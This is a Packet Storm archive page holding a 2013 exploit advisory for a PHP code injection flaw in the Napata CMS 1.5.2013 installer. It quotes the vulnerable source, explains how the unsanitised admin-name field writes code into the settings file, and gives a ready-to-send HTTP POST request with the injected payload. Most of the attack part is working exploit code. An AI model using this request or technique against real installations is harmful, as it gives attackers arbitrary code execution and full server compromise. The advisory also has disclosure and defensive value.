Exploit the possiblities

Napata CMS 1.5.2013 PHP Code Injection

Napata CMS 1.5.2013 PHP Code Injection
Posted Jun 5, 2013
Authored by CWH Underground

Napata CMS version 1.5.2013 suffers from a remote command execution vulnerability.

tags | exploit, remote
MD5 | 762e4833d104791d4b630f1197cff30e

Napata CMS 1.5.2013 PHP Code Injection

Change Mirror Download
# Exploit Title   : Napata CMS PHP Code Injection
# Date : 5 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://napata-cms.blogspot.com/
# Software Link : http://sourceforge.net/projects/napatacms/files/latest/download
# Version : 1.5.2013
# Tested on : Window and Linux

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

####################################
VULNERABILITY: PHP CODE INJECTION
####################################

/install/install-core.php (LINE: 123-151)

-----------------------------------------------------------------------------
LINE 123-149:

function SaveSettings () {
global $_POST;
if(isset($_POST['save_settings']))
{

echo 'The config file has been written ......<br />';
$default_time = isset($_POST['default_time']) ? $_POST['default_time'] : 'UTC';
$db_host = isset($_POST['db_host']) ? $_POST['db_host'] : 'localhost';
$db_name = isset($_POST['db_name']) ? $_POST['db_name'] : '';
$db_user = isset($_POST['db_user']) ? $_POST['db_user'] : 'root';
$db_password = isset($_POST['db_password']) ? $_POST['db_password'] : '';
$db_prefix = isset($_POST['db_prefix']) ? $_POST['db_prefix'] : 'npt_';
$ad_name = isset($_POST['ad_name']) ? $_POST['ad_name'] : '';
$ad_username = isset($_POST['ad_username']) ? $_POST['ad_username'] : 'admin';
$ad_email = isset($_POST['ad_email']) ? $_POST['ad_email'] : '';
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$sitename = isset($_POST['sitename']) ? addslashes($_POST['sitename']) : 'Napata CMS';
$tagline = isset($_POST['tagline']) ? addslashes($_POST['tagline']) : 'A different CMS';
$home_articles = isset($_POST['home_articles']) ? $_POST['home_articles'] : '5';
$static_homepage = isset($_POST['homepage']) ? addslashes($_POST['homepage']) : '';
$twitter = isset($_POST['twitter']) ? $_POST['twitter'] : 'http://twitter.com/username';
$facebook = isset($_POST['facebook']) ? $_POST['facebook'] : 'http://www.facebook.com';
$linkedin = isset($_POST['linkedin']) ? $_POST['linkedin'] : 'http://www.linkedin.com';
$youtube = isset($_POST['youtube']) ? $_POST['youtube'] : 'http://www.youtube.com';
$flickr = isset($_POST['flickr']) ? $_POST['flickr'] : 'http://www.flickr.com';
$version = VERSION;
-----------------------------------------------------------------------------

-----------------------------------------------------------------------------
LINE 151:

$fh = fopen("include/settings/base.php", 'w+') or die("Could not create the config file. Please check the file permissions to the cms installation folder.");

-----------------------------------------------------------------------------

#####################################################
DESCRIPTION
#####################################################

An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.

This CMS has input validation by addslashes() function (LINE: 140,141,143). Anyway attacker able to insert PHP code "Admin');phpinfo();//" into other parameter
that's not properly sanitized.

/settings/base.php
-----------------------------------------------------------------------------
...
date_default_timezone_set('UTC');
define ('DATABASE_HOST', 'localhost');
define ('DATABASE_NAME', 'napata');
define ('DATABASE_USER_NAME', 'root');
define ('DATABASE_PASSWORD', 'myDB@dm1n');
define('ADMIN_NAME','Admin');phpinfo();//');
define('ADMIN_USERNAME','admin');
...
-----------------------------------------------------------------------------

#####################################################
EXPLOIT
#####################################################


POST /napata/install.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/napata/install.php
Cookie: lang=en_US; PHPSESSID=s291lhmkfa4qsjk5kb5k5268e3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 525

default_time=UTC&db_host=localhost&db_name=napata&db_user=root&db_password=myDB@dm1n&db_prefix=npt_&ad_name=Admin');phpinfo();//&ad_username=admin&
ad_email=admin%40this-site.com&domain=www.what-is-my-site-domain.me&sitename=Napata+CMS&tagline=A+different+CMS&home_articles=5&homepage=About+Us&
twitter=http%3A%2F%2Ftwitter.com%2Fusername&facebook=http%3A%2F%2Fwww.facebook.com&linkedin=http%3A%2F%2Fwww.linkedin.com&youtube=http%3A%2F%2Fwww.youtube.com&
flickr=http%3A%2F%2Fwww.flickr.com&save_settings=Save+Settings

################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    1 Files
  • 22
    Jan 22nd
    15 Files
  • 23
    Jan 23rd
    17 Files
  • 24
    Jan 24th
    35 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close